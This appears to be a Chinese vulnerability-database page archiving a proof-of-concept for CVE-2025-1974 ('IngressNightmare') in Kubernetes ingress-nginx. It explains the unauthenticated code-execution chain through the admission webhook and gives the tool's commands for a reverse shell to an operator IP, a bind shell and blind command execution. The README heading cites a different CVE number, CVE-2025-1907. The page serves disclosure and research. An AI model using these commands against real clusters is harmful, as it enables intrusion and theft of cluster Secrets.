关联漏洞
标题:
Kubernetes ingress-nginx 安全漏洞
(CVE-2025-1974)
描述:Kubernetes ingress-nginx是云原生计算基金会(Cloud Native Computing Foundation)开源的Kubernetes 的入口控制器,使用NGINX作为反向代理和负载均衡器。 Kubernetes ingress-nginx存在安全漏洞,该漏洞源于在某些条件下,未认证的攻击者可通过访问pod网络在ingress-nginx控制器环境中执行任意代码,可能导致Secrets泄露。
描述
IngressNightmare POC. world first remote exploitation and with multi-advanced exploitation methods. allow on disk exploitation. CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities#how-did-we-discover-ingressnightmare-24
介绍
# Ingress Nightmare CVE-2025-1907
## Description
This vulnerability allows remote attackers to execute arbitrary
code on affected installations of kubernetes/ingress-nginx.
Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of HTTP requests.
It is triggered by sending two request. One is a long buffered
request to the NGINX server in same pod, then nginx will cache
it as a temporary file. The second request is a request to the
admission validating webhook server, which will trigger the
admission webhook to write a temporary nginx config which contains
the `ssl_engine badso_location;` directive. Then the admission
webhook will run `nginx -t` to check the config, which will
triggered remote code execution in the context of the NGINX server.
## Exploitation
```bash
# reverse shell
./ingressnightmare -m r -r ${ur_ip} -p ${port} -i ${INGRESS} -u ${UPLOADER}
# bind shell # maybe lost?
./ingressnightmare -m b -b ${port} -i ${INGRESS} -u ${UPLOADER}
# blind command execution
./ingressnightmare -m c -c 'date >> /tmp/pwn; echo eson pwn >> /tmp/pwn' -i ${INGRESS} -u ${UPLOADER}
```
https://github.com/user-attachments/assets/415d6b81-b907-4aaa-bd99-18640bd64b2b
文件快照
[4.0K] /data/pocs/56ece3437f8babf433aeeffb40692d428b81f792
├── [2.0K] go.mod
├── [ 15K] go.sum
├── [5.7K] main.go
├── [ 88] Makefile
├── [4.0K] nginx-ingress
│ ├── [ 263] bad_config.conf
│ ├── [3.1K] danger.c
│ ├── [ 12K] danger.so
│ ├── [6.5K] exploit.go
│ ├── [ 245] Makefile
│ ├── [2.6K] payload.go
│ └── [2.1K] validate.json
└── [1.2K] README.md
1 directory, 12 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。